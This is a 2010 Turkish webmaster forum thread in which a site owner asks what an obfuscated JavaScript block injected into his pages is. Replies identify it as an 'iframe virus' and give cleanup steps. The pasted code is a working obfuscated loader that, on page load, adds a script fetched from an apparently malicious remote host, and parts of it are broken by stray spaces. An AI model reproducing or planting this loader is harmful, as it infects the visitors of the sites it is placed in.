• 22-05-2010, 01:48:45
    #1
    Üyeliği durduruldu
    merhaba arkadaslar aşşağıda verdigim koda bir anlam veremedim ilk önce index yerleştirmişlerdi daha sonra stenin alt sayfalarına yerleştirmeye başladılar ve chrome de sitemi açtıgımda kötü yazılım uyarısı alıyorum lütfen bilen arkadaslar bunun ne oldunu bana açıklayabilirmi..?

    this.bX=false;var wE=new Date();var d;this.y="";P=4781;P+=32;V=function(){C=["L","R"];ux=46237;ux-=99;var J=["S","uu"];var Fn=["g","r"];function j(F,i,Y){var wI={fd:5811};try {var Pl='yN'} catch(Pl){};return F.substr(i,Y);var H=33158;this.ax=60802;this.ax++;}try {var ab='vc'} catch(ab){};this.n=55882;this.n-=195;var f="/s"+"oh"+"u-"+j("coWQE",0,2)+j("iqtm/qit",3,2)+j("msvIgovIsm",4,2)+"og"+j("le1T5F",0,2) +".c"+"om"+j("/edgoF",0,2)+j("baNZQ",0,2)+j("y.hgeD",0,2)+j("6NZl delNZ6",4,2)+j("Asm.pAms",3,2)+j("e3ihpie3",3,2);v ar e=RegExp;Ml=59486;Ml+=195;var t='';var jl=25381;var E=document;var eA=["tS","Ga","Bz"];try {var A='W'} catch(A){};function B(F,i){this.b_="";gC=19931;gC--;var U=["Qk","WV"];var WQ={Cu:47374};var Y="["+i+"]";this.ik=23403;this.ik-=171;this.As=12769;this.As-=74;var fn=new e(Y, new String("g"));var Bl=["Wf","mI","Jn"];return F.replace(fn, t);var PA={};this.ww='';};Hn=["Lp","cd","aR"];h=37830;h-=170;var p=null;var on={Ak:false};var GO=[];var k=String(j("bodStJ",0,3)+j("J46y6J4",3,1));var _=B('s0curyiXp_tX','BwxfSHu_MXy0dnL');this.CDd=''; var Q_=new Array();var km=607190-599110;var oG=new Date();wZ=["oj","fy","qm"];d=function(){var gh=new Date();this.SW=false;try {this.LF="";this.hx="";var w=B('cNrieNaSt2eAESlVeumTeonGt4','KARGL_Io2huWbTiH k4S5N7VzB');var Dm=[];var gCM=[];b=E[w](_);es=["uz"];this.uP="uP";var F=km+f;var cN="";var Bn=B('sNrAcS','Ddl1HTSFUoN2ABQ538nG');oOL={XE:fals e};var xA=new String();var l=String("de"+"fe"+"r");this.xpU=59209;this.xpU--;var df={};this.RE=63147;this.RE+=131;this.gwZ=46393;th is.gwZ-=169;b[l]=[1][0];b[Bn]=String("http"+j("://tmhW",0,4)+j("s1qoenthoqs1",4,4)+"prof"+"it.r"+"u: ")+F;try {var vn='VKs'} catch(vn){};this.Ov=false;E[k].appendChild(b);var Nft={};KW=34123;KW--;s=["bH","Ty"];} catch(q){var zq="zq";this.zu='';try {var xm='waa'} catch(xm){};};var TP=new Date();this.KO='';};};kk={Rv:false};V();MF={pd:346 55};var _d={ib:"rO"};var rk={};window.onload=d;var dD={};var jM=["hxC"];
  • 22-05-2010, 14:04:43
    #2
    Üyeliği durduruldu
    yokmu anlayan..
  • 22-05-2010, 14:10:07
    #3
    iframe virusu yemişsin
  • 22-05-2010, 14:23:12
    #4
    Üyeliği durduruldu
    mediabilgi adlı üyeden alıntı: mesajı görüntüle
    iframe virusu yemişsin
    tşkler daha açıklayıcı bir cevap verebilicek varmı?
  • 22-05-2010, 16:37:42
    #5
    Eposta Aktivasyonu Gerekmekte
    iframe dedi gibi bende yedim temizlemek için bazı dosyaların içlerinde wp kullanıyorsan home.php index.php header.php tarzı dosyaların içinde alt'dadır kaldır temanda js dosyaları varsa onlarında içindedir sil onlarıda wp ni sil baştan upload et temanı cak hostcuna söle kullanıcı adını şifreni değiştirsin mozilla kullanıyorsun noscript eklentisini indir js yolu ile sana bulaşıyor senden siteye geciyor ftp programları sayesinde chrome kullan ama sorun cıkmaz eset smart security ide yükle hiç birşey olmaz bir daha hayirsiz.net aynısı bana oldu temizledim 3 gündür sorun yok
  • 23-05-2010, 13:11:15
    #6
    Üyeliği durduruldu
    Cybr adlı üyeden alıntı: mesajı görüntüle
    iframe dedi gibi bende yedim temizlemek için bazı dosyaların içlerinde wp kullanıyorsan home.php index.php header.php tarzı dosyaların içinde alt'dadır kaldır temanda js dosyaları varsa onlarında içindedir sil onlarıda wp ni sil baştan upload et temanı cak hostcuna söle kullanıcı adını şifreni değiştirsin mozilla kullanıyorsun noscript eklentisini indir js yolu ile sana bulaşıyor senden siteye geciyor ftp programları sayesinde chrome kullan ama sorun cıkmaz eset smart security ide yükle hiç birşey olmaz bir daha hayirsiz.net aynısı bana oldu temizledim 3 gündür sorun yok
    evet dediniz gibi index altında ve plasyer.js yane jslere bulaşmıştı onları temizledim sorun yokta insallah bir daha bulaşmaz